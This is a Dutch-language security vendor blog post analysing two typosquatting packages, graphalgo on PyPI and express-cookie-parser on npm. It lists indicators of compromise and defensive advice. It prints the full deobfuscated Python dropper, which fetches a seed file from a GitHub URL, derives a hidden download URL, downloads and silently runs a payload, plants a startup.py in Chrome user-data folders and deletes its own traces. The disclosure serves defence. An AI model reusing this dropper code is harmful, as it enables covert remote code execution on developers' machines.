Xygeni heeft onlangs een zorgwekkend patroon waargenomen in het landschap van aanvallen op de softwaretoeleveringsketen in 2025, die opduiken in twee populaire pakketbeheerders: PyPI en NPMAls onderdeel van onze voortdurende inspanningen op het gebied van dreigingsinformatie,Xygeni's vroegtijdige waarschuwing voor malware (MEW) De tool identificeerde een duidelijk maar methodologisch vergelijkbaar geval van een kwaadaardig pakket dat eerder naar een ander register was geüpload. Deze casus laat zien hoe cybercriminelen zich ontwikkelen en aanvalstechnieken hergebruiken in verschillende ecosystemen, met name via kwaadaardige Python-pakketten en kwaadaardige npm-pakketten, waardoor het risico toeneemt dat schadelijke pakketten open source-toeleveringsketens binnendringen.
Xygeni's MEW: de overeenkomsten ontdekken
De MEW-tool van Xygeni is ontwikkeld om kwaadaardige pakketten te detecteren en te markeren, met name pakketten die verband houden met Software Supply Chain-aanvallen in 2025, zodra ze in open-sourceregisters worden gepubliceerd. De tool analyseert nieuwe pakketten op verdacht gedrag.
In dit geval werden er twee geïdentificeerd kwaadaardige Python-pakketten (graphalgo op PyPI) en kwaadaardige npm-pakketten (express-cookie-parser op npm).
Kwaadaardige Python- en npm-pakketten in software-aanvoerketenaanvallen (2025)
Laten we eens kijken naar de gemeenschappelijke kenmerken die onze waarschuwingen hebben geactiveerd:
typosquatting
Ze probeerden allebei bestaande, populaire pakketten te imiteren.
- grafische algo (PyPI)"Python-pakket voor het maken en bewerken van grafieken en netwerken.” Geüpload door een gebruiker genaamd “larrytech” Op 13 juni 2025 presenteerde dit pakket zichzelf als een PyPi-alternatief voor het oorspronkelijke niet-kwaadaardige graphalgo-project, dat later werd omgedoopt tot graphdict.
- express-cookie-parser (npm):Dit pakket imiteerde het bekende cookie-parser-pakket en spiegelde zelfs zijn README.md. Dergelijke imitaties zijn een klassieke tactiek om bestaand vertrouwen te misbruiken.
Verduistering als eerste verdedigingslinie
Beide pakketten verhulden hun schadelijke code in de originele bestanden. graphalgo, de verduisterde code werd gevonden binnen /utils/load_libraries.py. Bij express-cookie-parser, cookie-loader.min.js bevatte de verduisterde lading.
Deze eerste laag van verduistering wordt doorgaans gebruikt om oppervlakkige inspectie en statische analyse te belemmeren. De verduistering was vrij eenvoudig: herhaalde ZLib-compressie plus Base64-codering. Dit type verduistering geeft duidelijk aan dat de software zijn gedrag probeert te verbergen. Samen met ander bewijs stelde dit Xygeni MEW in staat de pakketten als potentiële malware te classificeren. Tijdens de bevestigingsfase stelden onze reviewers onmiddellijk een deobfuscatiescript op dat de duidelijk kwaadaardige dropper-fase onthulde.
Meertrapslevering van lading en een gedeeld oorsprongspunt
Beide pakketten functioneerden als initiële “druppelaars, waarmee de weg werd vrijgemaakt voor de echte lading. Ze deelden een gemeenschappelijke externe "zaad”bestand URL:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Dit identieke externe seedbestand is een sterke indicator van een gedeelde bedreigingsactor. Interessant genoeg lijkt de inhoud van dit seedbestand te bestaan uit eenvoudige omgevingsvariabelen (bijv. JWT_SECRET, PORT), wat mogelijk misleidend is voor de daadwerkelijke functie ervan.
Dynamische C2-resolutie met een DGA
Een geavanceerde tactiek die bij deze kwaadaardige pakketten wordt waargenomen, is het gebruik van een Domain Generation Algorithm (DGA) om de Command and Control (C2)-server dynamisch te identificeren. Deze techniek, die vaak wordt toegepast bij geavanceerde aanvallen op de software supply chain in 2025, maakt gebruik van een SHA256-hash die is afgeleid van de inhoud van het seedbestand, gecombineerd met andere hardgecodeerde waarden. Hierdoor verandert de C2-infrastructuur regelmatig, waardoor traditionele blacklisting veel minder effectief is. In dit geval gebruikte de npm-variant een vaste waarde van 496AAC7E als onderdeel van haar DGA-logica.
Vaststelling van doorzettingsvermogen
Beide aanvallers probeerden een blijvende aanwezigheid op de getroffen systemen te creëren. Hun strategie bestond uit het plaatsen van een bestand, startup.py (voor PyPi) of startup.js (voor npm), in algemene Google Chrome-gebruikersgegevensmappen op verschillende besturingssystemen (Windows, Linux, macOS).
Opruimen na de executie
Om sporen te minimaliseren, voerden beide kwaadaardige scripts opruimbewerkingen uit. Dit omvatte het verwijderen van hun oorspronkelijke dropper-bestanden (load_libraries.py, cookie-loader.min.js) en het wijzigen van legitieme pakketbestanden (__init__.py, index.js) om de verwijzingen naar de nu verwijderde componenten te verwijderen.
Indicatoren van compromissen in kwaadaardige Python- en npm-pakketten
- PyPI-pakket: graphalgo (gepubliceerd door larrytech, 13 juni 2025)
- npm-pakket: express-cookie-parser (specifiek versie 1.4.12)
- Toegang tot gedeelde Seed-URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Blijvende bestandsnamen:
startup.py(Python)startup.js(JavaScript) - Veelvoorkomende persistente paden (afhankelijk van besturingssysteem): Binnen Google Chrome-gebruikersgegevensmappen (bijv.
AppData\Local\Google\Chrome\UserData\Scripts\op Windows,~/.config/google-chrome/Scripts/(op Linux, enz.).
Hoe u zich kunt verdedigen tegen kwaadaardige pakketten in aanvallen op de softwaretoeleveringsketen (2025)
Een aanbevolen aanpak voor ontwikkelaars
Dit incident dient als een waardevolle casestudy in het veranderende dreigingslandschap van aanvallen op de software supply chain in 2025. Het laat zien hoe kwaadaardige Python-pakketten en npm-pakketten vertrouwde ecosystemen kunnen binnendringen en vaak detectie ontlopen tot het te laat is. Daarom zijn vroege detectie, slimme tooling en proactieve systeemhygiëne nu essentiële onderdelen van elke veilige DevOps-workflow. Ontwikkelaars wordt aangeraden rekening te houden met het volgende:
Afhankelijkheidsbeoordeling
Als uw projecten het volgende omvatten: graphalgo or express-cookie-parser, zou het verstandig zijn om ze te verwijderen.
- Voor PyPI:
pip uninstall graphalgo - Voor npm:
npm uninstall express-cookie-parser
Systeemhygiëne
Overweeg een uitgebreide systeemscan uit te voeren. Het is ook raadzaam om de algemene Chrome-gebruikersgegevensdirectorypaden handmatig te controleren op onverwachte fouten. startup.py or startup.js bestanden.
Proactieve beveiligingsmaatregelen
- Beoordeel nieuwe afhankelijkheden: Zorg ervoor dat u nieuwe pakketten grondig evalueert vóór de integratie, en richt u daarbij op pakketten van onbekende uitgevers.
- Integreer beveiligingstools: Hulpmiddelen zoals MEW van Xygeni, samen met andere softwarecompositieanalyse (SCA) oplossingen, kunnen een cruciale verdedigingslaag bieden door verdacht gedrag en kwetsbaarheden te identificeren.
- Minste privilegeDoor ontwikkelomgevingen te gebruiken met het principe van minimale privileges, kunt u de potentiële impact van een inbreuk beperken.
- Netwerkbewustzijn:Door het controleren van uitgaand netwerkverkeer op ongebruikelijke verbindingen kunnen soms door DGA gegenereerde C2-communicaties worden onthuld.
Belangrijkste onderdelen van load_libraries.py (van graphalgo)
import os import sys import subprocess import base64 import hashlib import time from urllib.request import urlopen, Request url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU=" remove_url = base64.b64decode(url_b64).decode() python_path = sys.executable def download_remote_content(url, output_path): try: req = Request(url, headers={"User-Agent": "Mozilla/5.0"}) with urlopen(req) as response, open(output_path, "wb") as out_file: if response.status != 200: print(f"Failed to download the file. Status code: {response.status}") return False data = response.read() out_file.write(data) return True except Exception as e: print(f"Download failed: {e}") return False def run_process(path_to_script, params=[]): if sys.platform.startswith("win"): creationflags = subprocess.CREATE_NO_WINDOW subprocess.Popen( [sys.executable, path_to_script, *params], creationflags=creationflags, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) else: subprocess.Popen( [sys.executable, path_to_script, *params], start_new_session=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, close_fds=True ) def get_output_file_path(): py_file_path = None home_dir = os.path.expanduser("~") platform = os.sys.platform if platform.startswith("win"): py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data") elif platform.startswith("linux"): py_file_path = os.path.join(home_dir, ".config", "google-chrome") elif platform == "darwin": py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome") if not os.path.exists(py_file_path): if platform.startswith("win"): py_file_path = os.path.join(home_dir, "AppData", "Local") elif platform.startswith("linux"): py_file_path = os.path.join(home_dir, ".config") elif platform == "darwin": py_file_path = os.path.join(home_dir, "Library", "Application Support") # Ensure base directory exists os.makedirs(py_file_path, exist_ok=True) script_path = os.path.join(py_file_path, "Scripts") os.makedirs(script_path, exist_ok=True) py_file_path = os.path.join(script_path, "startup.py") return py_file_path def remove_self(): # Remove this script file os.remove(__file__) # Remove \'graph_settings.py\' in the same directory graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py") if os.path.exists(graph_settings_path): os.remove(graph_settings_path) # Modify \'../classes/digraph.py\' if it exists graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py") graph_file_path = os.path.abspath(graph_file_path) # Normalize path init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py") init_file_path = os.path.abspath(init_file_path) # Normalize path # replace content of the __init__.py file if os.path.exists(init_file_path): with open(init_file_path, \'r\', encoding=\'utf-8\') as file: file_content = file.read() updated_content = file_content \\ .replace("from networkx.utils.graph_settings import *", "") \\ .replace("from networkx.utils.load_libraries import *", "") with open(init_file_path, \'w\', encoding=\'utf-8\') as file: file.write(updated_content) # replace content of the __init__.py file if os.path.exists(graph_file_path): with open(graph_file_path, \'r\', encoding=\'utf-8\') as file: file_content = file.read() updated_content = file_content \\ .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\ with open(graph_file_path, \'w\', encoding=\'utf-8\') as file: file.write(updated_content) def simple_shift_encrypt(text, password): key = int(hashlib.sha256(password).hexdigest(), 16) encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text]) return base64.encode(encrypted_bytes).decode() def simple_shift_decrypt(encoded_text, password): key = int(hashlib.sha256(password).hexdigest(), 16) encrypted_bytes = base64.b64decode(encoded_text) decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes]) return decrypted def load_libraries(key): max_retry_count = 3 output_file_path = get_output_file_path() encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl" for _ in range(max_retry_count): if not download_remote_content(remove_url, output_file_path): time.sleep(2) continue download_url = "" with open(output_file_path, "rb") as f: file_content = f.read() sha256_hash = hashlib.sha256() sha256_hash.update(file_content + key.encode()) password = sha256_hash.digest() download_url = simple_shift_decrypt(encoded, password) if not download_url or not download_remote_content(download_url, output_file_path): time.sleep(2) continue os.chmod(output_file_path, 0o755) run_process(output_file_path) time.sleep(1) remove_self() break if __name__ == "__main__": if len(sys.argv) >= 2: load_libraries(sys.argv[1]) download_remote_content(): Verwerkt het ophalen van bestanden van opgegeven URL's.run_process(): Voert externe Python-scripts op een onafhankelijke manier uit, waarbij de uitvoer wordt onderdrukt om discreet te blijven.get_output_file_path(): Bepaalt de ideale systeemlocatie voor het permanente bestand startup.py.remove_self(): Orkestreert het opruimen van de initiële schadelijke bestanden en pakketwijzigingen na de uitvoering.simple_shift_encrypt()/simple_shift_decrypt(): Aangepaste cryptografische functies voor het verbergen van communicatiekanalen, cruciaal voor de DGA-implementatie.load_libraries(): De centrale functie die het gehele meerfasenproces coördineert, van de eerste download tot de uiteindelijke uitvoering en opschoning van de payload.
Nasleep
Net als bij andere potentieel schadelijke pakketten die door MEW werden geïdentificeerd, beschermde de dependency firewall direct gebruikers die deze schadelijke pakketten in hun dependency's zouden opnemen. Na bevestiging volgden we de meldingsprocedures voor beide registers, die na controle beide pakketten verwijderden.




